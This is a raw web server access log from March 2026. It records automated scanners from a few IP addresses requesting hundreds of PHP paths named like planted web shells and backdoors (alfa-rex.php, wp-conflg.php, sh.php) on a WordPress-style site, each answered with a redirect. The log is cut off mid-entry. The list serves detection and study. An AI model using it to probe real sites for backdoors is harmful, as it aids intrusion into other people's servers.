[01/Mar/2026:10:18:43 +0300] "GET /wp-includes/images/wp-login.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:18:46 +0300] "GET /cong.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:18:47 +0300] "GET /w.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:18:49 +0300] "GET /404.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:18:51 +0300] "GET /ioxi-o.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:18:54 +0300] "GET /0x.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:18:55 +0300] "GET /css.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:18:56 +0300] "GET /222.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:18:58 +0300] "GET /wp-content/index.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:18:58 +0300] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:18:58 +0300] "GET /wp-admin/maint/maint.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:19:13 +0300] "GET /autoload_classmap.php?p= HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:21:39 +0300] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:21:43 +0300] "GET /filemanager/dialog.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:21:46 +0300] "GET /wp-admin/maint/index.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:21:49 +0300] "GET /wp-includes/customize/about.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:24:20 +0300] "GET /333.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:27:38 +0300] "GET /xb.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:16:19 +0300] "GET /class20.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:16:24 +0300] "GET /admin.php?p= HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:16:37 +0300] "GET /fwe.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:17:19 +0300] "GET /fv.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:17:23 +0300] "GET /file.php? HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:17:27 +0300] "GET /lsd.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:18:14 +0300] "GET /wp-admin/network/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:18:25 +0300] "GET /install.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:18:28 +0300] "GET /lv.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:19:51 +0300] "GET /wp-admin/css/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:20:01 +0300] "GET /manager.php?p= HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:20:23 +0300] "GET /404.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:20:24 +0300] "GET /mail.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:20:28 +0300] "GET /wp-content/plugins/index.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:20:28 +0300] "GET /sx.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:20:40 +0300] "GET /alfa.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:20:40 +0300] "GET /1.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:22:03 +0300] "GET /wp-includes/style-engine/about.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:22:10 +0300] "GET /ww1.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:22:11 +0300] "GET /about/function.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:23:14 +0300] "GET /class.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:23:42 +0300] "GET /ioxi-o1.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:23:45 +0300] "GET /juuuu.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:24:27 +0300] "GET /520.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:25:13 +0300] "GET /bibil.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:26:32 +0300] "GET /403.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:26:33 +0300] "GET /file9.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:26:37 +0300] "GET /ac.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:26:42 +0300] "GET /new4.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:27:14 +0300] "GET /elp.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:27:32 +0300] "GET /galex.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:17:01 +0300] "GET /x56.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:18:05 +0300] "GET /themes.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:18:08 +0300] "GET /wp-admin/maint/about.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:19:19 +0300] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:19:21 +0300] "GET /about.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:19:25 +0300] "GET /alfa.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:20:34 +0300] "GET /wp-admin/maint/admin.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:20:49 +0300] "GET /byp.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:21:09 +0300] "GET /wp-admin/about.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:22:34 +0300] "GET /wp-admin/js/index.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:22:37 +0300] "GET /wp-content/upgrade/about.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:22:40 +0300] "GET /wp-includes/assets/index.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:22:43 +0300] "GET /wp-content/radio.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:22:45 +0300] "GET /wp-includes/fonts/index.php?p= HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:23:07 +0300] "GET /wp-content/themes/twentytwentytwo/index.php?p= HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:23:07 +0300] "GET /.well-known/log.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:24:11 +0300] "GET /we2.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:24:15 +0300] "GET /04.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:24:33 +0300] "GET /ar.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:24:53 +0300] "GET /2clas.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:24:57 +0300] "GET /ave.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:25:22 +0300] "GET /radio.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:25:51 +0300] "GET /nox.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:25:54 +0300] "GET /file48.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:26:27 +0300] "GET /ton.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:26:53 +0300] "GET /az.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:26:56 +0300] "GET /xaz.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:27:47 +0300] "GET /ova.php HTTP/1.1" 301 795 "-" "-" 88.210.11.43 - - [01/Mar/2026:13:11:23 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 161.97.112.146 - - [01/Mar/2026:12:56:15 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 43.153.54.14 - - [01/Mar/2026:14:32:27 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 44.195.201.244 - - [01/Mar/2026:14:24:52 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/600.2.5 (KHTML, like Gecko) Version/8.0.2 Safari/600.2.5 (Gort)" 43.135.135.57 - - [01/Mar/2026:15:20:28 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 199.45.154.145 - - [01/Mar/2026:15:49:43 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 104.154.105.196 - - [01/Mar/2026:16:08:05 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; CMS-Checker/1.0; +https://example.com)" 52.138.3.9 - - [01/Mar/2026:16:12:17 +0300] "GET /wp-admin/maint/bk.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:12:29 +0300] "GET /wp-content/uploads/11.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:12:33 +0300] "GET /wp-admin/css/widgets.sys.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:12:37 +0300] "GET /wp-admin/includes/hp2.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:12:54 +0300] "GET /wp-admin/maint/vc.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:12:58 +0300] "GET /wp-includes/widgets/widget-cache.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:13:14 +0300] "GET /uploads/select_file.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:13:16 +0300] "GET /uploads/select_file2.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:16:10 +0300] "GET /wp-admin/maint/sql.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:17:33 +0300] "GET /.well-known/icedknnv.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:19:53 +0300] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:20:08 +0300] "GET /gg.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:20:21 +0300] "GET /manager.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:20:54 +0300] "GET /vx.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:21:37 +0300] "GET /file7.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:21:42 +0300] "GET /x.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:23:48 +0300] "GET /public/vx.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:24:53 +0300] "GET /321.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:12:04 +0300] "GET /wp-admin/js/mediiaa-widget-video.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:16:16 +0300] "GET /uploads/wp.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:16:23 +0300] "GET /wp-admin/includes/cores.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:16:26 +0300] "GET /wp-includes/widgets/ws62.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:16:30 +0300] "GET /wp-content/upgrade/worksec.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:17:38 +0300] "GET /images/post_genprdt.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:21:21 +0300] "GET /ccou.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:22:25 +0300] "GET /0x.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:22:26 +0300] "GET /lock360.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:22:29 +0300] "GET /04.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:13:21 +0300] "GET /wp-admin/includes/detmash.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:13:25 +0300] "GET /files/8.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:13:28 +0300] "GET /files/sh.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:13:40 +0300] "GET /wp-includes/sitemaps/providers.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:13:44 +0300] "GET /wp-admin/includes/403.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:15:13 +0300] "GET /wp-content/upgrade/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:15:16 +0300] "GET /wp-admin/includes/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:15:29 +0300] "GET /wp-content/uploads/2026/01/mybackpack.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:15:33 +0300] "GET /wp-admin/js/fi.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:15:36 +0300] "GET /wp-admin/includes/rk2.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:15:40 +0300] "GET /wp-admin/css/error.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:15:43 +0300] "GET /wp-admin/css/bolt.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:16:41 +0300] "GET /wp-includes/pomo/feeds.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:16:45 +0300] "GET /wp-admin/maint/wp-good.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:16:49 +0300] "GET /wp-includes/images/signup_pad_classic.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:17:09 +0300] "GET /wp-includes/fonts/rawwp.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:18:16 +0300] "GET /gtc.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:19:29 +0300] "GET /file.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:19:48 +0300] "GET /ioxi-o.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:20:32 +0300] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:21:47 +0300] "GET /lv.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:22:00 +0300] "GET /install.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:22:03 +0300] "GET /wp-includes/ID3/about.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:24:22 +0300] "GET /333.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:27:05 +0300] "GET /alfa-rex.php7 HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:12:12 +0300] "GET /.well-known/nastar.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:12:24 +0300] "GET /wp-admin/maint/x6.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:16:54 +0300] "GET /wp-admin/includes/v2.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:16:57 +0300] "GET /wp-admin/includes/class-ge.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:18:26 +0300] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:21:53 +0300] "GET /file48.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:24:13 +0300] "GET /ton.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:26:06 +0300] "GET /goods.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:26:12 +0300] "GET /bak.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:26:15 +0300] "GET /nc4.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:26:19 +0300] "GET /ar.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:14:20 +0300] "GET /submitticket.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:14:23 +0300] "GET /files/add_evento.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:17:52 +0300] "GET /wp-admin/css/by.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:17:56 +0300] "GET /wp-admin/includes/user-ajax.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:17:58 +0300] "GET /wp-admin/images/chati.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:18:01 +0300] "GET /admin.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:22:11 +0300] "GET /click.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:23:10 +0300] "GET /as.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:23:14 +0300] "GET /ac.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:23:32 +0300] "GET /rh.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:25:31 +0300] "GET /ant.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:27:47 +0300] "GET /wp-includes/style-engine/about.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:13:03 +0300] "GET /wp-includes/class-wp-json-ajax.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:13:09 +0300] "GET /files/add_gasto.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:13:58 +0300] "GET /images/image2.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:14:05 +0300] "GET /wp-admin/css/colors/coffee/ws.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:14:09 +0300] "GET /uploads/mandals.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:14:11 +0300] "GET /wp-admin/maint/ws27.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:14:15 +0300] "GET /wp-includes/class-wp-duotone.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:14:15 +0300] "GET /files/d.be.brow.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:14:31 +0300] "GET /wp-admin/maint/goods.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:14:34 +0300] "GET /wp-admin/js/goods.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:14:38 +0300] "GET /wp-admin/js/searchforma.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:14:41 +0300] "GET /wp-admin/maint/222.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:14:46 +0300] "GET /files/xaw.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:14:49 +0300] "GET /wp-admin/js/ms-site.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:14:52 +0300] "GET /wp-admin/css/11.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:14:55 +0300] "GET /wp-includes/wp-settings2.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:14:57 +0300] "GET /admin/index.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:15:21 +0300] "GET /wp-content/uploads/2026/02/index.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:15:24 +0300] "GET /wp-admin/css/colors/midnight/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:15:54 +0300] "GET /wp-admin/js/widgets/leuk.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:15:57 +0300] "GET /.well-known/chris.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:16:00 +0300] "GET /wp-includes/xx.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:18:21 +0300] "GET /info.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:18:38 +0300] "GET /wp-admin/css/colors/coffee/index.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:18:49 +0300] "GET /xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:19:25 +0300] "GET /class.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:19:35 +0300] "GET /404.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:19:39 +0300] "GET /222.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:19:43 +0300] "GET /abcd.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:20:44 +0300] "GET /ha.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:21:10 +0300] "GET /0x.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:21:13 +0300] "GET /1.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:21:17 +0300] "GET /la.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:21:27 +0300] "GET /readme.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:24:31 +0300] "GET /zfile.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:25:07 +0300] "GET /k.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:25:39 +0300] "GET /info.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:25:39 +0300] "GET /num.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:25:55 +0300] "GET /buy.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:25:58 +0300] "GET /a.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:26:53 +0300] "GET /b.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:27:11 +0300] "GET /atomlib.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:27:14 +0300] "GET /520.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:13:33 +0300] "GET /files/start.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:13:35 +0300] "GET /wp-includes/Text/Diff/Renderer/incl.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:15:49 +0300] "GET /yereongu.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:17:03 +0300] "GET /wp-includes/class-wp-https.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:17:15 +0300] "GET /wp-content/uploads/about.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:17:17 +0300] "GET /wp-includes/class-mail.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:17:22 +0300] "GET /.well-known/uhuybro.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:17:26 +0300] "GET /wp-admin/css/footers.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:17:46 +0300] "GET /wp-admin/maint/5.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:19:10 +0300] "GET /z60.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:23:25 +0300] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:24:00 +0300] "GET /az.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:24:38 +0300] "GET /akcc.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:25:47 +0300] "GET /al.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:26:24 +0300] "GET /0.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:26:28 +0300] "GET /doc.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:11:57 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:12:43 +0300] "GET /wp-includes/jga.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:13:51 +0300] "GET /images/image.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:18:58 +0300] "GET /123.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:20:38 +0300] "GET /wrt.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:21:03 +0300] "GET /item.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:21:05 +0300] "GET /radio.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:22:16 +0300] "GET /info.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:22:17 +0300] "GET /wp-trackback.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:22:21 +0300] "GET /wsd.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:26:42 +0300] "GET /wp-admin/css/about.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:26:49 